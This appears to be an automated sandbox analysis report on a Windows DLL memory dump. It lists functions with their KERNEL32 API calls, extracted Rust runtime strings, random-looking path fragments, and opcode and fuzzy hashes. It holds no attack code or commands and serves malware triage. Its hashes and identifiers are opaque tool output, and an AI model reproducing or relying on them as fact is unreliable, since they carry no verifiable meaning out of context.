Instruction ID: c1f20d01bd6072d07181eb2d1c0fcfc42e67398b03c8c17f3ee6a3266a0960f7
Opcode Fuzzy Hash: 7abba6f8315e7441b1f34ddc226efb62002b73120e6667bcb3a90952a994d31d
Instruction Fuzzy Hash: 18B1587188020AEFCF05CFE4CD9099EBBBDBF44B94B11455AE814AB255D331DA52CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC500, Relevance: 12.6, APIs: 10, Instructions: 125COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?), ref: 6EDBC53A
TlsSetValue.KERNEL32(?,00000000), ref: 6EDBC547
TlsGetValue.KERNEL32(?), ref: 6EDBC58A
TlsSetValue.KERNEL32(?,00000000), ref: 6EDBC597
TlsGetValue.KERNEL32(?), ref: 6EDBC5CA
TlsSetValue.KERNEL32(?,00000000), ref: 6EDBC5D7
TlsGetValue.KERNEL32(?), ref: 6EDBC60A
TlsSetValue.KERNEL32(?,00000000), ref: 6EDBC617
TlsGetValue.KERNEL32(?), ref: 6EDBC64B
TlsSetValue.KERNEL32(?,00000000), ref: 6EDBC658

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 343c28a124c456763390f490b65bba2f8db181e86f954e304d58e77a72d41f89
Instruction ID: 893b8e291c0c80bd734b7a8dde5fbed3d1e884691529271abdbe6f72ee702378
Opcode Fuzzy Hash: 343c28a124c456763390f490b65bba2f8db181e86f954e304d58e77a72d41f89
Instruction Fuzzy Hash: 92415BB214424EEFEB516FE59C51FAB3768BF12241F045024EE268E160F772DA21DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC1DA0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 212fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,?,?,?,?,?,?,6EDC1C2E,?), ref: 6EDC1DB5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,6EDC1C2E,?), ref: 6EDC1DC6
GetConsoleMode.KERNEL32(00000000,?), ref: 6EDC1E08
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 6EDC1E83
GetLastError.KERNEL32(?,?,?,00000000), ref: 6EDC1F05

Strings

assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed, xrefs: 6EDC200E
Unexpected number of bytes for incomplete UTF-8 codepoint.C:eodllautblkklahmhgnetilzvvcslfjwakfzrpeciobxpylgwrokyyfkblnopnjvhlcoxjbvrndpaoezowltgjwguuqlcjtinialvpbtfcixalgwrcjcrthjdwukfjvq, xrefs: 6EDC1FF5

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$ConsoleFileHandleModeWrite
String ID: Unexpected number of bytes for incomplete UTF-8 codepoint.C:eodllautblkklahmhgnetilzvvcslfjwakfzrpeciobxpylgwrokyyfkblnopnjvhlcoxjbvrndpaoezowltgjwguuqlcjtinialvpbtfcixalgwrcjcrthjdwukfjvq$assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed
API String ID: 4172320683-607870617
Opcode ID: 0e01b8559cb0b09ba4785780c68fb9e6faf0845c3e9e3ade00816ad39fd20687
Instruction ID: 431b499ba03f22d93ab0c3a861e1ff9d8be90c12eb46e8eba0505074d6a00ffc
Opcode Fuzzy Hash: 0e01b8559cb0b09ba4785780c68fb9e6faf0845c3e9e3ade00816ad39fd20687
Instruction Fuzzy Hash: BD71ADB1608755DFD7108F99C85076A7BF9AB86B88F10882DE4D68B380D731D94DCB23

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC690, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6EE0ADA8), ref: 6EDBC6C9
ReleaseSRWLockExclusive.KERNEL32(6EE0ADA8), ref: 6EDBC713
GetProcessHeap.KERNEL32 ref: 6EDBC722
HeapAlloc.KERNEL32(01360000,00000000,00000020), ref: 6EDBC735
ReleaseSRWLockExclusive.KERNEL32(6EE0ADA8), ref: 6EDBC787

Strings

failed to generate unique thread ID: bitspace exhausted, xrefs: 6EDBC794
called `Option::unwrap()` on a `None` value, xrefs: 6EDBC7B7

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$HeapRelease$AcquireAllocProcess
String ID: called `Option::unwrap()` on a `None` value$failed to generate unique thread ID: bitspace exhausted
API String ID: 1780889587-1657987152
Opcode ID: 25886eca4fb709fea1b61202146a37562dd6190f350ad4bca63086abda4cd585
Instruction ID: 6314aa60faa13239fef6f2f5afe6dc609e585630793d124544c11e0b9534ebb8
Opcode Fuzzy Hash: 25886eca4fb709fea1b61202146a37562dd6190f350ad4bca63086abda4cd585
Instruction Fuzzy Hash: D131B6B5E40609CBEB14CFD4C914BAEBBB9FF85718F204129D8196B380E7759509CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB10A0, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 6EDB10D6
HeapAlloc.KERNEL32(01360000,00000000,0000000F), ref: 6EDB10ED
GetProcessHeap.KERNEL32(01360000,00000000,0000000F), ref: 6EDB111F
HeapAlloc.KERNEL32(01360000,00000000,00000010,01360000,00000000,0000000F), ref: 6EDB1136
HeapFree.KERNEL32(00000000,?,00000000,00000010,01360000,00000000,0000000F), ref: 6EDB120B
HeapFree.KERNEL32(00000000,?,00000000,00000010,01360000,00000000,0000000F), ref: 6EDB121B

Strings

Control_RunDLL, xrefs: 6EDB1102
Control_RunDLL, xrefs: 6EDB114B

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocFreeProcess
String ID: Control_RunDLL$Control_RunDLL
API String ID: 2113670309-2490747307
Opcode ID: 7a500e66c5e53282c1186b0509484c89f683b420a963d2444eeb99dbdf80929c
Instruction ID: 8ca5be82977e7ec5f9667888fc2a24f53be1af92f33081f46faf5d4bbfd21569
Opcode Fuzzy Hash: 7a500e66c5e53282c1186b0509484c89f683b420a963d2444eeb99dbdf80929c
Instruction Fuzzy Hash: 0251A0B5D00619DFDB00CFE4D840BEEB7B9FF89784F108529E806AB281E7719944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCC860, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6EDCC897
___except_validate_context_record.LIBVCRUNTIME ref: 6EDCC89F
_ValidateLocalCookies.LIBCMT ref: 6EDCC928
__IsNonwritableInCurrentImage.LIBCMT ref: 6EDCC953
_ValidateLocalCookies.LIBCMT ref: 6EDCC9A8

Strings

csm, xrefs: 6EDCC93D

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 679bf0dc059ace74323c4eae3cdb4dda3532bce225834e855c039e36cbf6016c
Instruction ID: be13a148b39dd7aa670a2497f2da2c32f770072d656f0b095972b90e1efe5085
Opcode Fuzzy Hash: 679bf0dc059ace74323c4eae3cdb4dda3532bce225834e855c039e36cbf6016c
Instruction Fuzzy Hash: 8F418134A00219DFCF00CFA8C894A9EBBBDAF49768F108555E9189F351DB31D915CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC2B10, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6EE0ADB4), ref: 6EDC2B44
TlsAlloc.KERNEL32 ref: 6EDC2B5A
GetProcessHeap.KERNEL32 ref: 6EDC2B74
HeapAlloc.KERNEL32(01360000,00000000,0000000C), ref: 6EDC2B8B
ReleaseSRWLockExclusive.KERNEL32(6EE0ADB4), ref: 6EDC2BC8

Strings

assertion failed: key != c::TLS_OUT_OF_INDEXESC:jbmojtgfautxqskitilrxgprrsoryhnjiexhvlejqbbtabuvcjbeqafloiohojnkwxtneumtjxczayjyebuempczgbfbrdwkmdkgjqjcnunttbmcxecyvhxsfpitjjwfpzkycxdjnqi, xrefs: 6EDC2BE8

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocExclusiveHeapLock$AcquireProcessRelease
String ID: assertion failed: key != c::TLS_OUT_OF_INDEXESC:jbmojtgfautxqskitilrxgprrsoryhnjiexhvlejqbbtabuvcjbeqafloiohojnkwxtneumtjxczayjyebuempczgbfbrdwkmdkgjqjcnunttbmcxecyvhxsfpitjjwfpzkycxdjnqi
API String ID: 3228198226-2044759171
Opcode ID: 35b736f7fe40a4710e42ac189135e9331c14d0f41f9db9a92f43959c0dd3c494
Instruction ID: 7a61c6590f7fe2b54f396691c8695531eeaaf5aa2460c08eca65156fde693e8f
Opcode Fuzzy Hash: 35b736f7fe40a4710e42ac189135e9331c14d0f41f9db9a92f43959c0dd3c494
Instruction Fuzzy Hash: EC4134B590060ACFEB00CFD4D954BAEBBB9FF44718F104129D519AB380EB759949CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD1BFC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6EDD1D09,FFFDD001,00000400,?,00000000,?,?,6EDD1E82,00000021,FlsSetValue,6EE039F8,6EE03A00,?), ref: 6EDD1CBD

Strings

ext-ms-, xrefs: 6EDD1C67
api-ms-, xrefs: 6EDD1C53

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 3e29bfdf85f2b1a0633e8282fb5fdd06eb684c85df388812a17bc3261ac59e09
Instruction ID: 04c3a53ef609d7f89511d92b9b6b60e16c022345cb071885469b3784f1aca922
Opcode Fuzzy Hash: 3e29bfdf85f2b1a0633e8282fb5fdd06eb684c85df388812a17bc3261ac59e09
Instruction Fuzzy Hash: 1F210D76E00625EBDB2287E9CC44F9AB768EF427A0F254114E915A7384D731ED0DC7E0

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCCCFF, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6EDCCA41,6EDCA8E2,6EDCA0EC,?,6EDCA324,?,00000001,?,?,00000001,?,6EE07DA8,0000000C,6EDCA41D), ref: 6EDCCD0D
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6EDCCD1B
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6EDCCD34
SetLastError.KERNEL32(00000000,6EDCA324,?,00000001,?,?,00000001,?,6EE07DA8,0000000C,6EDCA41D,?,00000001,?), ref: 6EDCCD86

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 61d8c7f1dbd8eeed9fab948e3b57f513fae354cd68bb6b276559ad947fd1534d
Instruction ID: bc139a17a6d3951e82c676dd1cad555587e92a673349b0f15ae395f462b3c756
Opcode Fuzzy Hash: 61d8c7f1dbd8eeed9fab948e3b57f513fae354cd68bb6b276559ad947fd1534d
Instruction Fuzzy Hash: F7012D36158A15DEE66017F85C4859B2E5CD743FFC320032DF71C5B1D0EF22C4118662

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC97A0, Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 6EDC9E50: GetTickCount64.KERNEL32 ref: 6EDC9E57

GetTickCount64.KERNEL32 ref: 6EDC97D6
GetTickCount64.KERNEL32 ref: 6EDC97F4
GetTickCount64.KERNEL32 ref: 6EDC980D
GetTickCount64.KERNEL32 ref: 6EDC980F
GetTickCount64.KERNEL32 ref: 6EDC9816
GetTickCount64.KERNEL32 ref: 6EDC9834

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick
String ID:
API String ID: 1927824332-0
Opcode ID: 07e8cc6456b222b6f1686703d773cd9b2d8ea93b9b69c5f541017f144152a718
Instruction ID: 7d12ada64b215d4f8753ece2b01dd6173f2c0550d06c249018f53557eb131293
Opcode Fuzzy Hash: 07e8cc6456b222b6f1686703d773cd9b2d8ea93b9b69c5f541017f144152a718
Instruction Fuzzy Hash: 59014013C24A189DD603AA799841149A6BD6FAB7E8B11C317E04A77006FB9114F396A3

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB6D10, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6EDB6DEB
__aulldiv.LIBCMT ref: 6EDB6DFB

Strings

{invalid syntax}, xrefs: 6EDB6D54
'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDB6D24
_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool, xrefs: 6EDB6D7A, 6EDB6DB5

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem
String ID: 'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool${invalid syntax}
API String ID: 3839614884-2364648981
Opcode ID: 566c2b1d9f42c3ab05bacf98967b42d343b12f2528669d61c3420df0c76be878
Instruction ID: 2854468a07fe683bd31d7c56f73664658a05b25b68043d52ca0d2bb65a3f5153
Opcode Fuzzy Hash: 566c2b1d9f42c3ab05bacf98967b42d343b12f2528669d61c3420df0c76be878
Instruction Fuzzy Hash: DA415CF17282009BD7149BA8D840B6EB6D5DF84B44F10993DE98ADF3D5F675C81283A2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBD1B0, Relevance: 8.8, APIs: 7, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000001,6EDBC906), ref: 6EDBD1BB
TlsGetValue.KERNEL32(00000000,00000001,6EDBC906), ref: 6EDBD1D3
TlsGetValue.KERNEL32(00000000), ref: 6EDBD1F3
TlsGetValue.KERNEL32(00000000), ref: 6EDBD213
GetProcessHeap.KERNEL32 ref: 6EDBD226
HeapAlloc.KERNEL32(01360000,00000000,0000000C), ref: 6EDBD239
TlsSetValue.KERNEL32(00000000,00000000,01360000,00000000,0000000C), ref: 6EDBD266

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$Heap$AllocProcess
String ID:
API String ID: 3559649508-0
Opcode ID: aff97a77c5cdc2eb269633a4a8257fc4fbb42f97b12455d3423441a71451ea7a
Instruction ID: 9fa768e5d052991c3cad22d5dd349cbbb5e62301e9d8835f5f92560623a469fa
Opcode Fuzzy Hash: aff97a77c5cdc2eb269633a4a8257fc4fbb42f97b12455d3423441a71451ea7a
Instruction Fuzzy Hash: D61193F174164ACBFB505FF5C955B1A369CEB02785F114828D80ACB288EB36DC409B71

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD0EB1, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SYSTEM32\loaddll32.exe, xrefs: 6EDD0ECD

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SYSTEM32\loaddll32.exe
API String ID: 0-1872383224
Opcode ID: 06cf75e32c7fb796387e2ff13ddc633ac4bf4e9c974c16dcf2a2da24c7bd170f
Instruction ID: 72b1c9a8b006f86d0a8d550be5b247186b685dc4c1ec958bcd8c1d74082fd123
Opcode Fuzzy Hash: 06cf75e32c7fb796387e2ff13ddc633ac4bf4e9c974c16dcf2a2da24c7bd170f
Instruction Fuzzy Hash: 19215B72608209FFDB509FF68C4099B77BFEF853E87204925E85497244EB30E84887A1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCDD62, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6EDCDE23,00000000,?,00000001,00000000,?,6EDCDE9A,00000001,FlsFree,6EE02F84,FlsFree,00000000), ref: 6EDCDDF2

Strings

api-ms-, xrefs: 6EDCDDB2

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: a23ce46e5cebf4529fc0118abc47168babd5de2c96da04c3e50dd17cccdd73e8
Instruction ID: d4063e715cb9e10f3b9fb5f8bf3b84c41b8f2d9c2068f1e75a038f5819d61669
Opcode Fuzzy Hash: a23ce46e5cebf4529fc0118abc47168babd5de2c96da04c3e50dd17cccdd73e8
Instruction Fuzzy Hash: DA11A736E95B25EBDF134BD98C4474A33ACAF02FE4F205111F910AB284D770E9018AE2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCEC2D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,3766148C,00000000,?,00000000,6EDD7473,000000FF,?,6EDCEBBD,?,?,6EDCEB91,?), ref: 6EDCEC62
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6EDCEC74
FreeLibrary.KERNEL32(00000000,?,00000000,6EDD7473,000000FF,?,6EDCEBBD,?,?,6EDCEB91,?), ref: 6EDCEC96

Strings

mscoree.dll, xrefs: 6EDCEC5B
CorExitProcess, xrefs: 6EDCEC6C

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7b8e7d67666176271b93e0bba1635f320f8faa9fa34e37403e37cc3294eaf29f
Instruction ID: ab6f08f3284eb193939b703464809732871e9653fac771dc780d99f317214620
Opcode Fuzzy Hash: 7b8e7d67666176271b93e0bba1635f320f8faa9fa34e37403e37cc3294eaf29f
Instruction Fuzzy Hash: EF01A276900969EFDB129F90CD09FBEBBBDFB04B50F000625F821A2390DB75A904CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC4C0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EDBC4C5
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 6EDBC4D5

Strings

NtCreateKeyedEvent, xrefs: 6EDBC4CF
ntdll, xrefs: 6EDBC4C0

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateKeyedEvent$ntdll
API String ID: 1646373207-1373576770
Opcode ID: 93047da411ac328a09c8d94fc66f4b74e86af907e4e1bf1ab51fac681756cc3f
Instruction ID: 01307db2b7d62d8fa6211b262c89cf1fd20c365a58725da715a01a3d0e346a59
Opcode Fuzzy Hash: 93047da411ac328a09c8d94fc66f4b74e86af907e4e1bf1ab51fac681756cc3f
Instruction Fuzzy Hash: 10B092B6A08945EAAE91ABF2490CF2A2A28AD413163029440A056DA508EA20C406EA21

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC480, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EDBC485
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 6EDBC495

Strings

NtWaitForKeyedEvent, xrefs: 6EDBC48F
ntdll, xrefs: 6EDBC480

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtWaitForKeyedEvent$ntdll
API String ID: 1646373207-2815205136
Opcode ID: 029850161e75e3a33f089e47b75aa0adc78e4ca70767dad52fcfc38d0ce62034
Instruction ID: 4d767db070a05cf4e174a7c9b9b50f77ff68dcf8a43252dc06fcb565ab2e2d49
Opcode Fuzzy Hash: 029850161e75e3a33f089e47b75aa0adc78e4ca70767dad52fcfc38d0ce62034
Instruction Fuzzy Hash: ABB092BAA08A45EAAE91ABF1490CF2A2A28AD412173029440A05AD9108DA20D006EE22

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC4A0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EDBC4A5
GetProcAddress.KERNEL32(00000000,NtReleaseKeyedEvent), ref: 6EDBC4B5

Strings

ntdll, xrefs: 6EDBC4A0
NtReleaseKeyedEvent, xrefs: 6EDBC4AF

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtReleaseKeyedEvent$ntdll
API String ID: 1646373207-31681898
Opcode ID: f7c751d4dc9c2cb99d1a216bf6311ff5c36e571aebc0cf45848ffe262020ba6c
